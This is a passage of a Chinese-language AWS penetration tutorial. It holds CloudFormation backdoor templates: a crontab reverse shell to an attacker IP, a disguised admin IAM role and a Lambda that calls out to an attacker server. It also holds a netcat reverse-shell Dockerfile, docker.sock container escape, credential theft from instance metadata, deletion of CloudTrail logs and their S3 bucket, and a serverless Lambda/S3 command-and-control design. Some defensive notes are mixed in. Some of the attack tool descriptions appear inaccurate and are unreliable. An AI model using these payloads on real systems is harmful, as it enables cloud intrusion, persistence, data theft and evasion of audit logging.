          echo "*/2 * * * * root bash -i >& /dev/tcp/攻击者IP/端口 0>&1" >> /etc/crontab
          systemctl restart cron

执行方式

1
aws cloudformation create-stack --stack-name EC2Backdoor --template-body file://malicious-ec2.yaml

效果

  • CloudFormation 部署 EC2 实例,并在 UserData里执行反向 Shell。
  • EC2 启动后,会自动连接到攻击者的服务器,形成远程持久化访问。

这里的目的就是每两分钟执行一次后面的bash命令,用于反弹shell,主要的关注点在上面的那个ImageId,这个对应的是AMI ID,可能听起来有点抽象所以单出一行解释。

找到对应的地方AMI ID要的是一个模板,那么为什么非要模板呢?这个的原理就是新给你创建一个EC2实例并且运行,而他又不知道给你创建什么实例,就需要一个模板代号,其实也就是可以理解为一个镜像的编号,这个编号是固定的,你选了哪个,他就给你创建并启动哪个系统。可以看到上图有很多系统,选择其中一个编号填上去就行了,要注意,这个不是在原有的EC2上进行改动,它的原理就是找一个系统,自带的系统,确定好了就给你默认创建出来,然后启动,然后在运行你写入模板的命令,我们的命令是写入定时任务,他就会在开机的时候执行,就是这样,我看着其实感觉也有点鸡肋,但是这里正好能体现出CloudFormation权限危害性有多大。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  MaliciousEC2:
    Type: AWS::EC2::Instance
    Properties:
      ImageId: "ami-0ef0a3b4303b17ec5"
      InstanceType: "t2.micro"
      UserData:
        Fn::Base64: |
          #!/bin/bash
          echo "*/2 * * * * root bash -i >& /dev/tcp/192.***.***.***/53 0>&1" >> /etc/crontab
          systemctl restart cron

上面是我的模板 我填好了


3. 创建 IAM 角色,并允许攻击者 AssumeRole

攻击者可以创建 IAM 角色,并允许自己 AssumeRole,从而长期访问 AWS 账户:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  HiddenIAMRole:
    Type: AWS::IAM::Role
    Properties:
      RoleName: "AWS-Support-Role"
      AssumeRolePolicyDocument:
        Version: "2012-10-17"
        Statement:
          - Effect: Allow
            Principal:
              AWS: "攻击者AWS账户ID"
            Action: "sts:AssumeRole"
      Policies:
        - PolicyName: "HiddenAdminPolicy"
          PolicyDocument:
            Version: "2012-10-17"
            Statement:
              - Effect: Allow
                Action: "*"
                Resource: "*"

执行方式

1
aws cloudformation create-stack --stack-name IAMBackdoor --template-body file://hidden-role.yaml

效果

  • 创建 AWS-Support-Role角色,看起来像 AWS 官方支持账户,减少管理员怀疑。
  • 攻击者账户可以随时 sts:AssumeRole,即使管理员删掉 AWS 账户中的用户,仍然可以访问 AWS!

4. 通过 Lambda 注入恶意代码

攻击者可以利用 CloudFormation 部署恶意 Lambda 函数,在 AWS 内部执行代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
AWSTemplateFormatVersion: '2010-09-09'
Resources:
  MaliciousLambda:
    Type: AWS::Lambda::Function
    Properties:
      FunctionName: "AWSMonitor"
      Runtime: "python3.8"
      Role: "arn:aws:iam::123456789012:role/LambdaExecutionRole"
      Handler: "index.lambda_handler"
      Code:
        ZipFile: |
          import os
          import subprocess
          def lambda_handler(event, context):
              subprocess.call("curl -X POST -d 'AWS Access Compromised' http://攻击者服务器", shell=True)
              return "Executed"

执行方式

1
aws cloudformation create-stack --stack-name LambdaBackdoor --template-body file://malicious-lambda.yaml

效果

  • 创建 AWSMonitorLambda 函数,伪装成 AWS 监控工具,管理员不易察觉。
  • Lambda 运行时会向攻击者服务器发送数据,攻击者可以利用它来执行远程命令。

这里提一下 CloudFormation 重点是滥用,不用深入的去死学这个,甚至让AI给结果就可以的,但是Lambda里面的boto3库不一样,这个需要经常用,他可以干很多事情,必须学。

ECS容器逃逸

ECS 是 AWS 提供的 容器编排服务,你可以把它理解为 AWS 版的 Docker 管理平台,类似于 Kubernetes(但不完全一样)。

ECS 逃逸主要涉及两种模式:

  1. ECS on EC2:基于 EC2 运行的 ECS,攻击目标是底层 EC2 实例。
  2. ECS on Fargate:无服务器的 ECS 运行方式,目标是逃逸到 AWS 其他资源(如 IAM、S3 等)。

大纲

1. 容器特权模式(docker原生渗透技巧不做复现,仅搭建环境了解架构)

目标:利用 ECS 运行的 特权容器 逃逸到宿主机 攻击方式:

  • 如果任务定义启用了 privileged: true,可以直接 chroot 进入宿主机
  • 使用 cap_add: SYS_ADMIN 访问 ECS 宿主机 cgroup 或 /proc
  • 运行 --privileged 容器,获得 ECS 宿主机 root 权限

2. 滥用 ECS 任务定义(重点)

目标:通过 ECS 任务定义配置错误执行恶意命令 攻击方式:

  • 部署恶意镜像(包含反弹 shell)
  • 在任务定义中添加环境变量凭据(窃取 AWS 访问密钥)
  • 挂载 /var/run/docker.sock 访问宿主机 Docker API(Docker API 逃逸)

3. Mount 逃逸(docker原生渗透技巧不做复现)

目标:利用 --mount type=bind 访问 ECS 宿主机文件系统 攻击方式:

  • 挂载 /root/.aws/credentials 访问 AWS 凭据
  • 挂载 /etc/ 目录,获取 ECS 宿主机敏感配置
  • 挂载 /var/lib/docker/,直接操作 Docker 文件系统,访问其他容器

4. API Credential 泄露(学习过了不做复现)

目标:ECS 任务可能包含 AWS IAM 角色凭据,导致云环境横向移动 攻击方式:

  • 通过 ECS 容器访问 AWS 元数据服务
1
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
  • 获取 ECS 任务的 IAM Role,利用 aws configure 进行 AWS API 访问
  • 窃取 AWS 访问密钥,并尝试访问 S3、EC2、DynamoDB

特权容器逃逸

原理

特权模式 (--privileged),挂载 /,访问 ECS 宿主机

环境搭建

本来已经复制粘贴了步骤,一步一步操作就行,但是实际上没那么简单,我在这里卡了一天,也学了一天的ECS的原理,架构非常非常厉害,所以学的时间有点久,正因如此我把原来的步骤删了,用图片来展示搭建环境的步骤。如果对这个服务感兴趣的,可以把我每个步骤都看一遍,了解一下原理,这个东西不是基础概念,学会下面的步骤其实也就会用这玩意了。

点击创建就行了 下一步 任务定义 到后面搭建完了 我会解释这些东西如何互相连接起来的 架构是怎么样的

点击创建就行了 下一步 开特权模式(特权模式没有选项 只能改json)

1
sleep,infinity

点击创建就行了错一步都可能失败 特别是要注意命令那里要加上逗号 我因为这个也卡了很久。

到了这一步先解释整体流程把,创建集群选择免费的EC2,安全组开启22端口,最小值设置为1,这样在你创建完集群的时候就会自动实例化一个EC2,那如果最小值还是默认的0呢?要不然你自己建一个EC2把自己添加到ECS里面,要不然每开一个刚刚那样的任务它就会自己建一个EC2并执行。可以看到如果最小值为0你想再开一个EC2作为docker的物理机有多麻烦。到此集群完了,再看看任务定义是什么玩意,任务定义主要是看你想运行什么样的东西,在里面定义好,这个需要多少的资源?需要什么镜像?映射什么服务?是否可以和AWSAPI交互?都可以定义的,可以知道这个就是定义你要运行什么样的docker服务,刚好集群主要是一堆docker,这里刚好定一个了一个docker的类型,接下来就要发布docker到集群当中,这也就是最后的发布任务那一处,我们将这个定义好的任务,发布任务到了创建的集群的EC2当中,并且还进行了命令覆盖,为什么要命令覆盖sleep infinity呢?

另起一行解释一下任务和服务的定义

其实任务就是运行完了就结束了,比如你要跑定时任务、机器学习训练任务等等这种一次性的任务,运行完就完事了,不需要一直跑着,当你要运行nginx之类的长时间的服务的时候,我们就需要创建服务了,这就是概念,这也就是我们为什么要写一个sleep infinity,让他一直延时,不然运行完立马就关闭了,你可以尝试一下不写sleep infinity,你会发现你提交任务之后,集群处马上就弹了一个任务已结束。其实两个本质上没啥区别,也不存在哪个方便哪个不方便的区别,主要是任务能更好的了解基础概念,逻辑性很强。后续也不搭建服务了。

整体来说还是非常复杂的,可能理解非常困难,不妨全部尝试搭建一边就能理解。

复现验证

SSH登录刚刚创建的EC2实例。

agent是自带的 上面的那个才是我们创建的docker任务(如果不使用自动创建的方法来创建一个docker物理机 自行配置的话是需要装上这个agent的)

因为我们刚刚配置好 所以这里已经是特权模式了

到此为止,后面就是经典的docker特权模式逃逸了,感兴趣的百度google上都是答案,值得注意的一点是一般来说作为任务启动的amazonlinux有很多东西是没有的,他太小了,作为服务启动的话其实会多一点。正因如此任务启动的特权模式逃逸的一些命令可能并不存在。这里其实就是正常的docker方面的漏洞了,它的原理也是如此,ECS也就是类似于K8S的管理docker的工具,仅此而已。

补充部分

可能看到这里就觉得搭建了半天ECS,结果还是要复现docker本身的漏洞,那我还搭建干什么,烧脑又浪费时间,其实不是这样的,在环境搭建处,我们已经学习了ECS的搭建操作,学习了他的基础概念,了解了它的架构,云安全不只存在攻击,还有防御,很多人都说知道了攻击才知道如何防御,但前提是你得理解他的基础逻辑。比如SQL注入,你知道如何注入就知道如何防御,现在有一个WAF让你来阻拦SQL注入,那就写个规则,在与后端的数据库交互的接口处把’")全给他过滤了,攻击者发现了规则貌似就是过滤’"),用URL编码绕过之后依然能用union,select,sleep,substr等等等等查询,你发现了于是你又开始疯狂加正则加规则开始阻拦这些语句,攻击者也一直尝试绕过,但是发现了吗,底层原理依然是SQL语句的变形和编码绕过,当你真正理解了SQL注入这个漏洞的原理和逻辑,了解到了攻防双方是如何进步如何迭代更新的,才能发现攻防的核心,他们始终离不开最初的概念,这也就是为什么要亲自去搭建一次ECS了解它的概念和架构,云安全始终是攻防一体的。

滥用 ECS 任务定义

1、 通过 ECS 任务定义配置错误,执行恶意命令或窃取凭据

2、 利用 ECS 任务定义错误,获取 ECS 宿主机权限

3、 通过 ECS 任务定义挂载宿主机 Docker API,访问其他容器

三种方法就不搭建环境了,解释是能看明白的,整体比较简单。

一. 部署恶意镜像

ECS 允许用户创建自己的 任务定义(Task Definition),然后从 ECR(Elastic Container Registry) 或 Docker Hub 拉取镜像运行。

如果攻击者能 创建或修改 ECS 任务定义,就能 部署带有后门的恶意镜像,比如:

  • 镜像里内置反弹 Shell
  • 镜像里内置 AWS 访问密钥
  • 镜像里内置定时任务,定期上传敏感数据

攻击者上传恶意镜像

自己构建一个包含反弹 Shell 的镜像:

1
2
3
FROM ubuntu
RUN apt update && apt install -y netcat
CMD /bin/bash -c "while true; do nc -e /bin/bash attacker-ip 4444; sleep 10; done"
  • 推送到自己的 ECR
1
2
3
4
docker build -t my-malicious-image .
aws ecr create-repository --repository-name evil-repo
docker tag my-malicious-image <aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest
docker push <aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest
  • 修改 ECS 任务定义
  • 把任务定义里的 image 改成恶意镜像:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  "containerDefinitions": [
    {
      "name": "evil-container",
      "image": "<aws-account-id>.dkr.ecr.us-east-1.amazonaws.com/evil-repo:latest",
      "cpu": 512,
      "memory": 512,
      "essential": true
    }
  ]
}
  • 提交 ECS 任务定义,并运行任务
1
2
aws ecs register-task-definition --cli-input-json file://evil-task.json
aws ecs run-task --cluster my-cluster --task-definition evil-task
  • 攻击者远程控制 ECS 任务
  • ECS 任务启动后,会自动反弹 Shell:
1
nc -lvnp 4444
  • 攻击者获得 ECS 容器控制权,可以继续攻击 ECS 宿主机或 AWS 资源

聊一下为什么被攻击者要使用我们的镜像呢,主要方法有三种可以配合来,供应链攻击(供应商镜像篡改)、镜像名称混淆攻击、AWS ECS任务定义错误。这些方法比较好理解,可以搜搜看,网上都有的。


二. 在任务定义中添加环境变量凭据

ECS 允许任务定义里使用 环境变量,如果管理员不小心在环境变量里 硬编码 AWS 密钥,攻击者就能获取这些密钥。

查看当前任务的环境变量

1
env

如果返回:

1
2
AWS_ACCESS_KEY_ID=AKIAXXXX
AWS_SECRET_ACCESS_KEY=XXXXXX

说明 ECS 任务把 AWS 密钥 写进了环境变量,攻击者可以直接使用。


三. 挂载 /var/run/docker.sock 访问宿主机

ECS 任务可以挂载宿主机的 docker.sock,如果管理员误配,攻击者就能 直接控制宿主机 Docker,逃逸到 ECS 宿主机。

  • 在 ECS 任务定义里,挂载 docker.sock
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
  "containerDefinitions": [
    {
      "name": "privileged-container",
      "image": "ubuntu",
      "mountPoints": [
        {
          "sourceVolume": "docker-sock",
          "containerPath": "/var/run/docker.sock"
        }
      ]
    }
  ],
  "volumes": [
    {
      "name": "docker-sock",
      "host": {
        "sourcePath": "/var/run/docker.sock"
      }
    }
  ]
}
  • ECS 任务运行后,攻击者可以在容器里直接控制 Docker
  • 进入容器
1
docker exec -it ecs-privileged-container /bin/bash
  • 使用 docker.sock控制 ECS 宿主机
1
2
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -it --privileged ubuntu bash
  • 攻击者创建新的特权容器,实现 ECS 容器逃逸
1
2
docker -H unix:///var/run/docker.sock run -it --privileged -v /:/host ubuntu bash
chroot /host

ECS on Fargate 渗透 & 逃逸

之前提到的所有情况都是EC2作为docker宿主机运行的利用,实际上都是原生docker的漏洞利用,没有什么特别的,然后就是滥用的部分这里涉及到了一点AWS方面的利用技巧,实际上就这么点东西。 那我们没有用过的Fargate选项到底是什么呢?他其实是一个AWS无服务器容器,不需要自己管理 EC2,AWS自动帮你管理,那么这里该如何渗透呢?根据上面我们的理解其实能发现完全没有渗透的路径,想要突破AWS Fargate的基础设施对于我们来说就是天方夜谭,所用到的方法其实还是基础的方法,docker方面的漏洞就不用想了不会给特权模式之类的。不卖关子了其实非常简单,记一下就行了。

  1. Fargate 任务运行时,AWS 会自动给它分配 IAM Role,用于访问 AWS 资源。Fargate 任务内部可以访问 元数据服务(IMDSv2),获取 临时访问凭据。ECS元数据利用,去翻命令就行了,这里放个原理看看。
  2. Fargate 任务的 任务定义(Task Definition) 可能包含 环境变量、挂载的敏感文件,如果管理员配置错误,攻击者可以获取AWS 访问密钥、读取数据库密码、访问敏感 S3 资源。其实就是env看看能不能找到密钥,找一下 /root/.aws/credentials,find / -name “*.pem"等文件。
  3. Fargate 任务可以运行在 公有子网 或 私有子网,如果管理员配置错误:
  • 攻击者可以通过 Fargate 任务,访问 AWS VPC 内部服务
  • 攻击者可以通过 Fargate 任务,访问其他 AWS 资源
  • 攻击者可以使用 Fargate 任务,作为代理服务器

查找 Fargate 任务的网络配置

1
2
ip a
route -n
  • 如果 eth0 绑定了 VPC CIDR,则说明 Fargate 任务运行在私有子网
  • 如果 route -n 里 存在 0.0.0.0/0,说明 Fargate 任务可以访问外网
  • 使用 Fargate 任务访问 AWS 内部资源
1
2
nc -z -v internal-rds.amazonaws.com 3306
nc -z -v internal-elasticsearch.amazonaws.com 9200
  • 使用 Fargate 任务,建立反向代理
1
ssh -R 8080:internal-rds.amazonaws.com:3306 attacker@remote-server

第三条稍微复杂一点,这里单开一行解释一下,VPC不是可以配很多网络配置吗,如果各种子网当中运行着各种各样的AWS服务,我们就可以搭建隧道去访问,相当于进了目标AWS账户的云方面的内网环境了吧,可以这么理解,里面可能有一堆EC2,也可能有其他东西, 云横向移动就行了。

ECS容器利用补充

滥用ECS Exec功能
  • 正常用途: AWS ECS Exec 旨在提供调试能力,允许运维人员通过 AWS CLI 或控制台直接进入容器执行命令(如检查日志、调试服务)。
  • 核心依赖:
  • 任务定义需启用 "enableExecuteCommand": true。
  • 执行者需拥有 ecs:ExecuteCommand IAM 权限。

攻击场景与利用条件

攻击前提

  • 权限泄露:攻击者获取了具有 ecs:ExecuteCommand 权限的 IAM 凭证(如开发人员账号、过度授权角色)。
  • 任务配置错误:任务定义中启用了 enableExecuteCommand,且未限制相关权限。
  1. 枚举可执行的任务:
1
2
3
4
5
6
# 列出所有 ECS 集群
aws ecs list-clusters
# 列出集群中的任务
aws ecs list-tasks --cluster <CLUSTER_NAME>
# 检查任务是否启用了 Exec
aws ecs describe-tasks --cluster <CLUSTER> --tasks <TASK_ID> | grep "enableExecuteCommand"
  1. 通过 Exec 进入容器:
1
2
3
4
5
6
7
# 使用 AWS CLI 执行命令(例如启动交互式 Shell)
aws ecs execute-command \
  --cluster <CLUSTER_NAME> \
  --task <TASK_ID> \
  --container <CONTAINER_NAME> \
  --command "/bin/sh" \
  --interactive
  • 若成功,攻击者将获得容器内的 Shell 权限。

高级攻击手法结语

到这里基本上所有的AWS渗透部分都已经实现完了,高级手法明显比前面难很多,可以感觉到前面的那些都是在学习基础的服务利用方法,基础的渗透流程等等,高级攻击手法则是各种服务的配合。

比如AWSCLI凭证泄露,基础部分仅仅是学某个权限是干什么的,该如何复现,如何利用这个权限来渗透,而高级部分更多的是找到泄露,进行提权,进行持久化,像基础的部分直接一笔带过,它只会提到有什么权限,什么权限和什么权限能组合来进行渗透,没有那种一个服务扯很久的感觉了,如大纲标题,利用手法,思路加方法的结合。

还有CloudFormation恶意模板,可能学的时候觉得,这跟之前也没啥区别啊,不也是学习CloudFormation里面的所有服务吗?但是学习的前提你得了解所有服务的特性,我们知道CloudFormation模板可以进行渗透,能获得很多权限,那么你知道该如何创建高权限的用户/角色吗,这个模板运行是无回显的,该如何获得生成的key,它更像所有服务渗透的集合,而你只需要一个载体,这个载体就是CloudFormation模板,他可以控制所有AWS服务,而你学的前提是得会所有的AWS服务。

最后一个ECS容器,这个我在ECS容器逃逸最后写了一些话,可能都知道要学这个东西的渗透的话其实也就是针对docker渗透,也都知道ECS类似于K8S,但是ECS是云上的东西,它不仅仅是只针对docker访问的渗透,还有云相关的,学习完搭建的人肯定都知道ECS的搭建有点复杂,这也侧面的说明架构做的非常好,学习AWS云安全不能光学攻击手法,学命令,如果不理解背后的逻辑是不太好的,当你搭建了一下ECS踩了一堆坑的时候,当你终于搭建成功的时候,就理解了这个服务背后的原理。

实际上攻防不分家,互相都学对于理解非常重要,这意味着你不光可以做蓝还可以做红,相互成长,并且到此为止,学习了很多的AWS服务方面的东西,也知道了AWS实际上用免费的也可以做很多事情,正如我AWS基础概念所说的,你已经可以尝试搭建一个站点?搭建一个存储桶存文件?等等都是可以的,这一节讲了很多渗透相关的,说明你在搭建完之后,可以尝试给自己的AWS服务做基线了,了解了如何攻击,就知道防御该注重哪些方面了。

这里AWS渗透还剩最后一个重要的模块 —– 防御绕过技术

防御绕过技术

这里非常的难,但是用处也很大,大部分只会列个标题和原理,实现有点困难,有大神可以自行实现一下,我在后续的学习完成之后,也会往这个方面靠近。


AWS 具有多种安全监控和日志记录机制,比如:

GuardDuty(入侵检测) CloudTrail(API 事件日志) VPC Flow Logs(流量监控) AWS Config(合规性监控)

攻击者的目标 是:绕过这些监控机制,隐藏恶意操作。

GuardDuty 绕过技术

低频率 API 调用

  • 原理: AWS GuardDuty 基于机器学习模型检测异常 API 活动(如高频操作、跨区域调用)。通过 降低敏感操作频率(如每小时一次),可规避基于统计的检测规则。
  • 操作示例:
1
2
3
4
5
# 每小时窃取一次 S3 对象列表
while true; do
  aws s3 ls s3://sensitive-bucket --region us-west-1 >> /tmp/result.txt
  sleep 3600  # 间隔 1 小时
done
  • 防御检测:
  • 启用 GuardDuty 的 威胁列表(Threat Lists),标记已知恶意 IP。
  • 使用 Security Hub 自定义规则,匹配低频敏感操作(如每小时执行 iam:CreateUser)。
  • 分析 CloudTrail 日志的 时间序列模式,识别周期性行为。

利用合法服务代理流量

  • 原理: 通过 AWS 原生服务(如 Lambda、API Gateway)转发恶意流量,使 GuardDuty 将攻击流量识别为合法服务行为。
  • 操作示例(Lambda 代理 C2):
  1. 创建恶意 Lambda 函数:
1
2
3
4
5
6
import os
def lambda_handler(event, context):
    # 从 API Gateway 接收 Base64 编码的命令
    command = event['queryStringParameters']['cmd']
    result = os.popen(command).read()
    return {'statusCode': 200, 'body': result}
  1. 通过 API Gateway 触发:
1
2
# 发送加密命令(避免日志明文记录)
curl "https://xxx.execute-api.region.amazonaws.com/prod?cmd=$(echo 'whoami' | base64)"
  • 防御检测:
  • 监控 Lambda 冷启动频率 和 执行时间异常(如长时间运行的函数)。
  • 启用 VPC 流量镜像,捕获 Lambda 函数的出站流量。
  • 使用 GuardDuty 的 Backdoor:EC2/LambdaClient 规则检测可疑函数调用。
  • 加密方式可以自定义,RSA、AES都是可以的。

CloudTrail 日志删除

删除指定日志轨迹

  • 操作命令:
1
2
3
4
# 删除默认 CloudTrail
aws cloudtrail delete-trail --name Default
# 停止日志记录
aws cloudtrail stop-logging --name Default
  • 绕过效果: 阻止新日志生成,但 历史日志仍存储在 S3 桶 中(需额外清理)。
  • 防御措施:
  • 启用多区域日志记录(Multi-Region Trail):防止单区域日志被删除。
  • 启用 S3 版本控制 + MFA 删除:防止日志文件被覆盖。
  • 限制 IAM 权限:禁止非管理员用户操作 cloudtrail:DeleteTrail 和 cloudtrail:StopLogging。

历史日志擦除

  • 操作示例:
1
2
3
4
5
# 有专门用于日志的存储桶的 一定要找到再清除 不要乱删
# 清空关联的 S3 日志桶
aws s3 rm s3://cloudtrail-bucket --recursive
# 删除 S3 桶
aws s3 rb s3://cloudtrail-bucket --force
  • 防御措施:
  • 配置 S3 对象锁定(Object Lock),设置日志文件为不可删除。
  • 启用 AWS Organizations 的 Service Control Policy(SCP),禁止成员账户修改日志配置。

IP 隐匿(无服务器 C2)

Lambda + API Gateway 反向代理

  • 架构设计:
  • 攻击者 → API Gateway → Lambda(转发请求) → 受控容器/EC2 → S3 存储桶(存储结果)
  • 操作步骤:
  1. 创建 Lambda 转发器
1
2
3
4
5
6
7
8
9
import boto3
def lambda_handler(event, context):
    s3 = boto3.client('s3')
    # 从 API Gateway 接收指令并写入 S3
    cmd = event['queryStringParameters']['cmd']
    s3.put_object(Bucket='c2-bucket', Key='commands/latest', Body=cmd)
    # 读取执行结果
    response = s3.get_object(Bucket='c2-bucket', Key='results/latest')
    return {'statusCode': 200, 'body': response['Body'].read()}
  1. 容器内定时拉取指令
1
2
3
4
5
6
7
# 受控容器中的定时任务
while true; do
  aws s3 cp s3://c2-bucket/commands/latest - > /tmp/cmd.sh
  sh /tmp/cmd.sh > /tmp/result.txt
  aws s3 cp /tmp/result.txt s3://c2-bucket/results/latest
  sleep 300
done

隐匿性优势:

  • 所有通信经过 AWS 内部网络,源 IP 显示为 lambda.amazonaws.com。
  • API Gateway 支持 HTTPS 加密,流量特征与正常业务无异。

这个有点复杂了但是非常好用(学boto3库才行),相当于无服务器C2,主要目的是控制目标的容器或者EC2的同时不被发现,而且架构上面有写,攻击者通过API来控制Lambda转发器,那么这个API Gateway是啥呢?其实就是一个触发器,能找到的,定义好触发器之后,可以在URL后面跟上命令。

1
curl -X GET "https://xxx.execute-api.region.amazonaws.com/prod?cmd=bHMgaS9ldGM="

这样就相当于把命令代入到了cmd当中。 再看看接收的json呢。

1
2
3
4
5
6
7
8
9
# Lambda 函数收到的 event 结构示例
{
  "queryStringParameters": {
    "cmd": "bHMgaS9ldGM="  # "ls /etc" 的 Base64 编码
  }
}

# 找到了base64编码的命令的位置 所以在脚本里面定义的就是
# cmd = event['queryStringParameters']['cmd']

当然还需要base64解码什么的,没有写进去。总之Lambda收到了命令,然后Lambda的代码自动将这个这条命令写入了存储桶 results/latest 这个位置,命令存储完成了,被控EC2如何执行命令呢?有个定时任务每隔1个小时?半个小时?都是可以的,定时任务主要是下载 results/latest 这里的文件并命名为xxxx.sh,然后执行并将结果写入/tmp/result.txt,然后重新上传到S3的存储通当中可能就在 results/result.txt ,在哪都可以,那该如何读取呢?如果直接读取还是要被发现,那其实还是可以用Lambda+API Gateway,设置一个API触发器,不需要参加任何参数,访问了就自动返回S3存储桶里的 results/result.txt 这个位置的文件的内容回来,这样的架构就非常完美了。

这只是其中一条路径,靠这条路径实际上可以加非常非常多的东西,也可以根据这个思路扩展很多方法。再看看防御方面的吧。

检测点:

  • API Gateway 请求频率:高频调用可能触发 GuardDuty 的 TTP:Discovery/CloudApis。
  • S3 存储桶访问模式:同一路径(如 commands/latest)的频繁覆盖操作。

防御建议:

  • 启用 S3 存储桶的 访问日志 和 对象版本控制,追踪文件变更。
  • 监控 Lambda 函数的 执行次数 和 S3 写入操作,设置阈值告警。
  • 使用 Macie 自动扫描 S3 中的敏感数据(如 result.txt 中的密钥)。

AWS渗透自动化工具

1. 云环境侦察 & 资产发现

(1) Pacu
  • 用途:AWS 全环境攻击框架,支持 权限提升、后门植入、数据泄露 等模块化攻击。
  • 功能亮点:
  • 自动枚举 IAM 权限、S3 存储桶、EC2 实例等。
  • 模拟攻击链(如通过 iam__privesc_scan 扫描提权路径)。
1
2
3
4
# 初始化并配置 AWS 密钥
pacu
set_keys
run iam__privesc_scan  # 扫描 IAM 权限提升路径
(2) CloudMapper
  • 用途:可视化分析 AWS 环境(VPC、IAM、S3 等),生成 网络拓扑图。
  • 功能亮点:
  • 绘制跨区域 VPC 连接关系。
  • 标记公开的 S3 存储桶和 EC2 安全组。
1
2
python3 cloudmapper.py collect --account my-account
python3 cloudmapper.py report --account my-account

2. 权限提升 & 漏洞利用

(1) WeirdAAL
  • 用途:自动化检测 AWS API 权限滥用(如 sts:AssumeRole、iam:CreateUser)。
  • 功能亮点:
  • 快速扫描 IAM 策略中的危险权限。
  • 生成可复现的攻击代码(Python)。
1
python3 weirdAAL.py -m iam_createaccesskey
(2) AWS PWN
  • 用途:自动化提权工具,覆盖 EC2、Lambda、S3 等服务的 20+ 提权路径。
  • 功能亮点:
  • 检测 EC2 实例角色权限滥用。
  • 利用 Lambda 函数执行代码并窃取元数据。
1
python3 aws_pwn.py --profile victim-profile --module lambda_backdoor

3. 存储桶 & 数据泄露

(1) S3Scanner
  • 用途:批量扫描公开的 S3 存储桶,并检测敏感文件(如 credentials、config)。
  • 功能亮点:
  • 支持自定义关键词过滤(如 AKIA、secret)。
  • 导出可读报告(CSV/JSON)。
1
python3 s3scanner.py --bucket names.txt --keywords secrets.txt
(2) bucket-stream
  • 用途:实时监控新创建的 S3 存储桶,并检测公开访问权限。
  • 功能亮点:
  • 结合 CertStream 监听域名变化,发现关联存储桶。
  • 自动标记高风险存储桶(如 website 模式)。
1
python3 bucket-stream.py --firehose

4. 横向移动 & 后门植入

(1) Cloudsplaining
  • 用途:分析 IAM 策略中的过度权限,生成 攻击路径图。
  • 功能亮点:
  • 标记可提权的 iam:PassRole 和 sts:AssumeRole 权限。
  • 输出 HTML 可视化报告。
1
2
cloudsplaining download --profile default
cloudsplaining scan --input-file default.json
(2) Lambda-Proxy
  • 用途:基于 Lambda 和 API Gateway 的 无服务器反向代理,实现隐蔽 C2 通信。
  • 功能亮点:
  • 支持 HTTPS 加密流量。
  • 动态生成随机 API 路径,规避 WAF 检测。
1
2
serverless deploy --stage prod  # 部署到 AWS
curl https://xxx.execute-api.region.amazonaws.com/prod/command?cmd=whoami

5. 日志清理 & 反检测

(1) CloudTrail Mutator
  • 用途:自动化清理 CloudTrail 日志,删除指定事件记录。
  • 功能亮点:
  • 支持模糊匹配关键字(如 DeleteTrail、StopLogging)。
  • 绕过多区域日志备份机制。
1
python3 cloudtrail_mutator.py --profile target --filter "DeleteTrail"
(2) GuardDog
  • 用途:模拟 GuardDuty 检测逻辑,测试攻击手法的可检测性。
  • 功能亮点:
  • 生成模拟攻击事件(如 PenTest:IAMUser/KaliLinux)。
  • 输出 GuardDuty 告警概率评估。
1
guarddog simulate --attack "S3:GetObjectAnonymously"

6. 高级隐秘通信

(1) AWS Lambda C2
  • 用途:完全基于 Lambda 和 S3 的 无服务器 C2 框架,支持加密指令传递。
  • 功能亮点:
  • 指令分片存储,规避频率检测。
  • 结果自动清理,减少日志残留。
1
2
3
4
# 部署后门
python3 deploy.py --region us-west-1
# 发送指令
python3 c2-client.py --command "curl http://malicious.com/shell.sh | sh"
(2) S3C2
  • 用途:利用 S3 存储桶作为 隐蔽通信信道,支持文件传输和命令执行。
  • 功能亮点:
  • 使用预签名 URL 动态更新指令。
  • AES-256 加密通信内容。
1
./s3c2-client.py --bucket my-c2-bucket --get-command

AWS云安全结语

至此AWS渗透算是完结了,可能会有一部分渗透技巧没有提到,但是大部分技巧我相信都在这里了,特别是最后一条的防御绕过技术,这已经是红队对抗云环境的高级手法了,而你仅仅需要学会Lambda其中一种语言,学会调用AWS资源就行,就可以开发无服务器C2了,会写python可以用RSA/AES加密通信,会JAVA也可以序列化命令,总之晚点被发现就行。需要学的部分已经完成,如果以后从事的工作存在AWS云安全能深入参与其中的话(貌似只有国外才有这个岗位 :)),还能更发展一步,后边更要靠的是自己去发掘了,实操和对服务的理解已经非常好了,还差理论方面的知识,学完这些东西就可以准备去考AWS Certified Security证书了,理论加实操才能更好的发展。

目前还差对boto3的库的学习,CloudFormation模板的基本写法,了解其他云厂商例如aliyun等的区别在哪就差不多了。